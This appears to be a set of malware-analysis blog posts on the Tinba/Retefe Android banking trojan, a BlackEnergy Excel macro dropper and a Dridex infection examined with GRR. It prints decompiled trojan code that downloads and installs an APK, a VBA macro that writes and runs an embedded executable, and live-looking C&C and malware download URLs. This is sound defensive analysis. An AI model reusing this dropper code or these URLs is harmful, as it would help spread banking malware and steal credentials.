Tinba: Continuation of the APK malware analysis

During my previous post I explained that the new version of the Android Bank trojan related to Tinba is able to install other APK for persistence purposes. During a first look on both samples the core functionality in terms of stealing 2FA remains the same. However, in terms of the capabilities to install new APKs, only the one of them have them.

In order to perform the installation, I can see in the AndroidManifest.xml that there is some extra permissions in one of the APK: 
"android.permission.BIND_ACCESSIBILITY_SERVICE" which it is clearly related to the way the malware fools the user through the accessibility menu, as explained in previous post.

 

What I am really interested is the java methods in charge of performing the tasks of downloading he APK and doing the installation. Looking around a bit with Androguard and following the flows of the code I ended up with a class file which contains the code:

package com.google.securesms.xservices;
public class g extends android.os.AsyncTask {
    final synthetic com.google.securesms.xservices.XUpdate a;
    private android.content.Context b;

    public g(com.google.securesms.xservices.XUpdate p1)
    {
        this.a = p1;
        return;
    }

    protected varargs Void a(String[] p6)
    {
        android.content.Intent v0_3 = ((java.net.HttpURLConnection) new java.net.URL(p6[0]).openConnection());
        v0_3.setRequestMethod("GET"); 
        v0_3.setDoOutput(1);
        v0_3.connect();
        String v2_3 = new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/").toString());
        v2_3.mkdirs();
        android.content.Context v1_10 = new java.io.File(v2_3, "update.apk");
        if (v1_10.exists()) {
            v1_10.delete();
        }
        String v2_6 = new java.io.FileOutputStream(v1_10);
        android.content.Intent v0_4 = v0_3.getInputStream();
        android.content.Context v1_12 = new byte[1024];
        while(true) {
            String v3_1 = v0_4.read(v1_12);
            if (v3_1 == -1) {
                break;
            }
            v2_6.write(v1_12, 0, v3_1);
        }
        v2_6.close();
        v0_4.close();
        android.content.Intent v0_6 = new android.content.Intent("android.intent.action.VIEW");
        v0_6.setDataAndType(android.net.Uri.fromFile(new java.io.File(new StringBuilder().append(android.os.Environment.getExternalStorageDirectory()).append("/download/update.apk").toString())), "application/vnd.android.package-archive");
        v0_6.setFlags(268435456);
        this.b.startActivity(v0_6);
        return 0;
    }

    public void a(android.content.Context p1)
    {
        this.b = p1;
        return;
    }

    protected synthetic Object doInBackground(Object[] p2)
    {
        return this.a(((String[]) p2));
    }
}

This class basically downloads a file and keeps it as 'update.apk' in the external storage directory 'download', which in the end is /sdcard/download/update.apk. Later on, through the intent 'android.intent.action.VIEW'  the file is opened, hence executed, as can be seen in the logs

 I/ActivityManager(778): START u0 {act=android.intent.action.VIEW dat=file:///storage/emulated/0/Download/update.apk typ=application/vnd.android.package-archive cmp=com.android.packageinstaller/.PackageInstallerActivity} from uid 10084 on display 0

 I/ActivityManager(778): START u0 {dat=file:///storage/emulated/0/Download/update.apk cmp=com.android.packageinstaller/.InstallAppProgress (has extras)} from uid 10063 on display 0

The URL from the malware is downloaded is stored in the initial MainPref.xml, DOWNLOAD_URL. That field is parsed through one of the methods called in the com.google.securesms.xservices.

package com.google.securesms.xservices;
public class XUpdate extends android.content.BroadcastReceiver {

    public XUpdate()
    {
        return;
    }

    public void onReceive(android.content.Context p6, android.content.Intent p7)
    {
        if (com.google.securesms.j.i.a("DEL", 0, p6) <= 0) {
            if ((!com.google.securesms.j.i.c()) || ((!com.google.securesms.j.i.r(p6)) || ((com.google.securesms.i.ac.a(p6)) || (com.google.securesms.j.i.a("RTB", 0, p6) <= 0)))) {
                if ((!com.google.securesms.j.i.b()) || (com.google.securesms.j.i.r(p6))) {
                    if ((com.google.securesms.j.i.b()) && ((com.google.securesms.j.i.r(p6)) && ((!com.google.securesms.j.i.a(p6, com.google.securesms.j.i.c)) && (!com.google.securesms.j.i.a("DOWNLOAD_URL", "", p6).isEmpty())))) {
                        com.google.securesms.xservices.g v0_17 = new com.google.securesms.xservices.g(this);
                        v0_17.a(p6);
                        String[] v1_2 = new String[1];
                        v1_2[0] = com.google.securesms.j.i.a("DOWNLOAD_URL", "", p6);
                        v0_17.execute(v1_2);
                    }
                } else {
                    com.google.securesms.xservices.g v0_19 = new android.content.Intent(p6, com.google.securesms.xpack.ActAS);
                    v0_19.addFlags(131072);
                    v0_19.addFlags(268435456);
                    p6.startActivity(v0_19);
                }
            } else {
                com.google.securesms.j.i.q(p6);
                android.media.RingtoneManager.getRingtone(p6, android.media.RingtoneManager.getDefaultUri(2)).play();
            }
        } else {
            com.google.securesms.j.i.c("UNINST", "Action for uninstall fixed", p6);
            com.google.securesms.xservices.g v0_25 = new android.content.Intent(p6, com.google.securesms.xpack.ActUpdate);
            v0_25.addFlags(268435456);
            p6.startActivity(v0_25);
        }
        return;
    }
}

By the time of writing this post the URL is still active, so it is possible to download the malware for further analysis. Also, it is reported in VT with hash

ce1cf0db8c84e9c903faf33e65c3cea4fa596e4d8ad169f9c48ed9629cf24c0d

2nd part of Tinba Malware analysis: The APK side

As showed in my previous post about Tinba malware Threat Actors are continually adapting and changing their techniques and tools. While doing the analysis of the Tinba malware, I ended up with an Android APK which it sounded very familiar to me. This APK is the new version of the Android Bank Trojan Emmental/Retefe. 

I wrote a bit about previous versions of the trojan in several posts:

http://blog.angelalonso.es/2015/10/android-memory-analysis-preparing.html
http://blog.angelalonso.es/2015/10/decrypting-emmental-blowfish-and-base64.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html
http://blog.angelalonso.es/2015/10/malware-analysis-with-androguad.html
http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html
http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html
http://blog.angelalonso.es/2015/10/android-memory-analysis-iii-analyzing.html


The sample I got (49a7217ea3af4f4254fe8acbf221263afee24900193870dcc094fac39858e5c4) is not reported in VT yet. However, there are similar samples already reported in VT since few weeks:

3cbe649958ab07238c2e4145f37f04bc4f4fd1e3a12f55129355a72e04ffe8da
c88bb1eb09246e52b009386066da3b3b74a4c3f791a0ccc8d5b641ca5c365d1e

What is new in this version of the malware?

There are several interesting new things that have been introduced in this new version of the malware, but I am going to focus in what I have seen as the most interesting feature: the persistence in the device.

Looking at the initial encrypted configuration file, where all the C&C URL are stored, I see a new field named 'download_url'

$cat config_plain.txt

<?xml version="1.0" encoding="utf-8"?>

          <config>

            <data rid="25"

                  shnum10="" shtext10="" shnum5="" shtext5="" shnum3="" shtext3="" shnum1="" shtext1=""

                  del_dev="0"

                  url_main="http://mbarbaram.com/Tri-Oval/09291245410kk.php;http://hoteldellenazionimilan.com/wp-includes/main.php"

                  phone_number=""

 download_url="http://hardits.com/seta.apk"

                  ready_to_bind="0" />

          </config>

This field contains a link to another APK. This is really interesting and worth to investigate.

When I installed the APK in my device, the new application "CreditSuisse SMSSecurity" is there

When launching it, I get a new windows which requires 'additional settings to work'

In the accessibility options, it exists now a new option for the CreditSuisse SMSSecurity

Going to that option I can see that it is asking to enable some 'updates', which it is really suspicious

After I have enabled the 'new service', I see a new 'Messaging' application is installed.

At the same time I can see HTTP traffic to the C&Cm but also to the URL configured in the initial configuration which points to the APK (http://hardits.com/seta.apk)

There are now in the system two different new applications with different names running. 

root@hammerhead:/ # ps | grep sms

root      20    2     0      0     c01af260 00000000 S smsm_cb_wq

u0_a143   3096  199   1572676 72728 ffffffff b6e6c898 S com.google.smsmms

u0_a143   3173  199   1498728 41028 ffffffff b6e6c898 S com.google.smsmms:remote

u0_a142   30882 199   1529224 65980 ffffffff b6e6c898 S com.google.securesms

u0_a142   31068 199   1501308 49196 ffffffff b6e6c898 S com.google.securesms:remote

com.google.securesms is the first installed application (CreditSuisse SMSSecurity), and com.google.smsmms has been installed by com.google.securesms. However, it looks like only the first one has the proper configuration file MainPref.xml with the C&C

Although, if I uninstall the original 'CreditSuisse SMSSecurity', the MainPref.xml with the C&C appears. But in this case the download_url field pointing to the APK doesn't exist.

After this, the connections to the C&C are normally done.

What's going on here?

• The initial APK fools the user to allow some special 'permissions' in order to perform updates
• Once those 'permissions' are granted, the application installs another  'Messaging application'. The URL of the APK is in the initial configuration file MainPrefs.xml
• This second 'Messaging Application' doesn't do anything and doesn't contain the C&C configuration MainPref.xml file in the beginning
• The second application becomes active and with the MainPref.xml populated once the first application CreditSuisse SMSSecurity is uninstalled in order to guarantee persistence

More to come in next posts :)

Tinba malware Analysis (part I)

Threat actors are always evolving and changing their Tactics, Tools and Procedures (TTP). A current example of this is the evolution in terms of malware used by the threat actors behind Retefe / Emmental.
In this blog I posted several posts( http://blog.angelalonso.es/search/label/operationemmental) with the analysis of Retefe / Emmental malware from different perspectives. Here I mentioned there are two components in the infection chain: a windows malware and a malicious APK. Now, they are still using this multi-malware technique, but there are several changes worth to mention. 

This time the malware they are using for the Windows infection is a very well know bank malware: Tinba.
I got an example yesterday and I wanted to take a brief look about what is this malware doing in general terms. Worth to note that by the time I got  the malware only 3 Antivirus detected the specimen, which means the infection rate is likely very high.

In the beginning I can see the malware is performing several tasks, like for example creating a copy of itself and killing the parent process.

After that, the new process creates a 'explorer.exe' process to looks like a normal process (PID 3508).

"1:25:54.3573320 PM","file.exe","3652","Process Create","C:\Windows\SysWOW64\explorer.exe","SUCCESS","PID: 3508, Command line: explorer","3664"

Later on, one of the threads of that explorer process (Thread 3700) is in charge of injecting threads  in several core processes of the system:



"1:25:55.4411267 PM","taskhost.exe","1380","Thread Create","","SUCCESS","Thread ID: 3080","3700"
"1:25:55.4412113 PM","Dwm.exe","2620","Thread Create","","SUCCESS","Thread ID: 3628","3700"
"1:25:55.4413015 PM","Explorer.EXE","2524","Thread Create","","SUCCESS","Thread ID: 2324","3700"
"1:25:55.4413891 PM","Bootcamp.exe","2388","Thread Create","","SUCCESS","Thread ID: 3176","3700"
"1:25:55.4414673 PM","vmtoolsd.exe","2440","Thread Create","","SUCCESS","Thread ID: 784","3700"
"1:25:55.4415535 PM","GWX.exe","796","Thread Create","","SUCCESS","Thread ID: 1668","3700"
"1:25:55.4416071 PM","Wireshark.exe","3436","Thread Create","","SUCCESS","Thread ID: 2904","3700"
"1:25:55.4416922 PM","dumpcap.exe","2720","Thread Create","","SUCCESS","Thread ID: 4044","3700"
"1:25:55.4417617 PM","conhost.exe","2572","Thread Create","","SUCCESS","Thread ID: 3820","3700"
"1:25:55.4419328 PM","DllHost.exe","3040","Thread Create","","SUCCESS","Thread ID: 3688","3700"
"1:25:55.4420515 PM","file.exe","3652","Thread Create","","SUCCESS","Thread ID: 3768","3700"

"1:25:55.4421823 PM","explorer.exe","3508","Thread Create","","SUCCESS","Thread ID: 3772","3700"

However, the interesting thing which I am going to take a look is the thread injection to the Internet explorer process happening.





As I have Wireshark running I can analyse the traffic sent by the compromised host, and I am very interesting to see what happens when I visit one of the victim banks.

While browsing to the ebanking web everything looks normal, however, there is a moment just before trying to log in in the bank account, when I see a suspicious DNS request to trakofed.net



After the DNS has resolved to the IP 80.87.192.47 there is a HTTPS communication to that IP and this exactly when the injection in the browser has been done.


In the infected host, I can see there injected page, which links to the malicious APK.  




In the host I see the HTTPS connection established to the bad site, which deliver the bad content to the victim.





The malware they were using in the past, used to change the proxy setup in order to redirect the traffic to a proxy controlled by the bad guys, so a simple inspection in the browser connection settings will be enough to discover it. However, this injection method is totally transparent to the user and there is not any strange behaviour that can be easily spot.

On the other hand, the APK file to be downloaded has changed as well and there are new things on this as well. I will analyse the changes in the APK in future posts.

Analysis of BlackEnergy MS Office XLS Dropper

In the last few days there were a lot of news (2) regarding a malware which produced some blackout in Ukrainian.

It is not clear yet the full intrusion chain and how the malware was related to the blackout.

(See RobertMLee twitter https://twitter.com/RobertMLee/status/685030648587812864  https://twitter.com/RobertMLee/status/685031160901074944)

However, it looks like there was an MS Office XLS document involved or it was somehow related. 
I got a sample of the file, and In order to perform the analysis, I followed up similar approach to this post I did some days ago:

Using Remnux v6, check the content of the file with oletools:

I dump the macro to a temporal file:







There are several encoded subroutines, but the important part for me, in order to get the EXE is the final part of the code. I can see a executable file is created and then this file is executed through the instruction 'shell'

..
Private Sub MacroExpl()
    Dim fnum As Integer
    Dim fname As String
    Dim i As Integer
    Dim j As Integer
    Dim aa As Byte
    Init0
    Init1
    Init2
    Init3
    Init4
    Init5
    Init6
    Init7
    Init8
    Init9
    Init10
    Init11
    Init12
    Init13
    Init14
    Init15
    Init16
    Init17
    Init18
    Init19
    Init20
    Init21
    Init22
    Init23
    Init24
    Init25
    fnum = FreeFile
    fname = Environ("TMP") & "\vba_macro.exe"
    Open fname For Binary As #fnum
    For i = 1 To 768
        For j = 0 To 127
            aa = a(i)(j)
            Put #fnum, , aa
        Next j
    Next i
    Close #fnum
    Dim rss
    rss = Shell(fname, 1)
End Sub

Private Sub Workbook_Activate()
    MacroExpl

End Sub



Next step is to dump the exe file. For that I will try first to open the original malicious XLS with the MS office debugger in order to put a breakpoint in that function, before it is executed. 




However, the macro is password protected:



But as I have the macro already dumped in Remnux, I can create my own XLS document and import that Macro. So I do that:




Now I setup the breakpoint in the 'Shell' command and I can see where the executable file is stored before it is executed





With this I have the executable :)
In future posts I will explain a bit the approach to analyse the EXE file.

Analysis of Dridex using GRR Rapid Response Framework

GRR is a framework developed by Google to perform live incident response on systems. It has many interesting features but from my point of view and when comparing with other tools there are two things to highlight: the possibility to perform incident response in multiple systems at once and that is multi-platform (Linux, MacOSX and Windows)

The architecture is very simple. There is a server running GRR where all the clients are connected. This same server is accessible via HTTP/s and also via console to gather information from the compromised system.

The clients, needs to install / execute a package, in order to connect to the server and receive instructions from the server, like for example dump the memory, list the processes running or perform a MACTimes.

In the documentation there is very good instructions on how to perform the installation on the server side, so there is no point on repeating the same again :)

Once the server is done, and it is reachable through HTTP, it is necessary to install the client. In this case, the agent to install is the amd64 bits. The easiest way to do it is directly accessing the URL and browsing to the binary. However, there is other mechanism to do it remotely like using 'psexec'.

Once the binary is installed, I can see there is a new service name "GRR Monitor"

 

Next step is to search for the system to analyse, the one which has been compromised.
This is done through the search box on the top-right of the web interface, and  the system can be searched by hostname, IP, MAC address.... 



All the information from that specific host is displayed in the "Host information" link, on the left side of the management web interface



If I wanted to perform the memory analysis, the first thing to do would be to dump the memory of the system. This would be the first approach to avoid losing much evidence from memory. 
To do this, a 'new flows' must be created through the "Start news flows" menu. In essence a flow is just an action, like for example list a registry, list the processes, dump the memory..

But in this case, the first thing I'm going to do is to analyse the filesystem. To do this I go to the 'Browse Virtual Filesystem", and press the refresh button under the drive C:


This creates a "launched flow":



Once the flow is finished (it can take some time), the file system can be browsed. This same approach can be done for the registry of the system




Once the flow is finished (it can take some time), the file system can be browsed. This same approach can be done for the registry of the system.
All the 'flows' executed are displayed in the "manage launched flows", and the results are displayed in the "browse virtual filesystem".
For example, in the screenshot below I can see there are two flows executed, one to list the processed and the second one to list the connections




Now if I go to to "browse virtual filesystem" -> "analysis"-> "list processes" I can see all the processes running on the system:



For example, some interesting process I see is "WINWORD.EXE", which opens a doc file name "file.doc"



Looking at the connections ESTABLISHED, I see a HTTPS connection to an IP from Chile. This IP is already reported in VirusTotal as malicious: https://www.virustotal.com/es/ip-address/186.67.56.157/information/



Next step is to generated the MACTimeline so I can analyse the filesystem. This is done through the "flow" presented in the screenshot below:




Again, a new 'flow' is created and once it is executed, the results can be seen or downloaded



Now I'll focus the analysis in the MAC timeline, and I will start looking at the 'file.doc' which it is suspicious to me.

Around 9:51:07 the suspicious file was opened



Following to that, a temporal file has been created. This is due to the way MS works creating temporal backups to avoid losing the data. 




A few minutes later, there is a very interesting file created in the timeline. This file looks like VBS file


So let's take a look to it. In order to do that, with GRR we can request files from the system, even if they have been deleted. To do this, we need to browse to directory in the filesystem where the file is, and press 'get a new version'. After some second, the file will be gateherd from the system and presented in the web GUI. 



So now the file can be downloaded and examined. Looking at the file I can see there is an obfuscated VBS





Once we have this file, I can investigate it with a debugger i explained in a previous post.